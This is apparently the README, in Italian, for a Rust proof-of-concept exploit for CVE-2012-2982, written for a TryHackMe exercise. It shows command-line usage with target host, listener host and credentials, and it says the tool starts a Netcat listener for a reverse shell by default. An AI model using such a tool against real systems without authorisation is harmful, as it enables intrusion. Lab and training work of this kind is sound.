
Un exploit per CVE-2012-2982 implementato in Rust
Questo exploit PoC per CVE-2012-2982 è stato scritto come esercizio per la stanza "Intro to PoC scripting" su TryHackMe.
La stanza si trova qui: https://tryhackme.com/room/intropocscripting
Inizialmente avevo intenzione di usare Python per seguire il tutorial, ma ho deciso di esercitare le mie abilità in Rust.
Ho anche notato che quasi tutte le implementazioni non-Metasploit su Github erano in Python, quindi ho pensato che portare qualcosa di nuovo potesse essere divertente.
Nota: Il programma avvia un listener Netcat per impostazione predefinita. Se Netcat non è nel tuo PATH, o vuoi eseguire il tuo listener, esegui il programma con il flag -d.
Da sorgente (richiede Rust e Cargo):
# To get detailed info about arguments:
cargo run -- --help
# General command structure:
cargo run -- <rhost> <lhost> <username> <password> [options]
Da binario:
# To get detailed info about arguments:
./cve-2012-2982 --help
# General command structure:
./cve-2012-2982 <rhost> <lhost> <username> <password> [options]
Valori predefiniti del programma: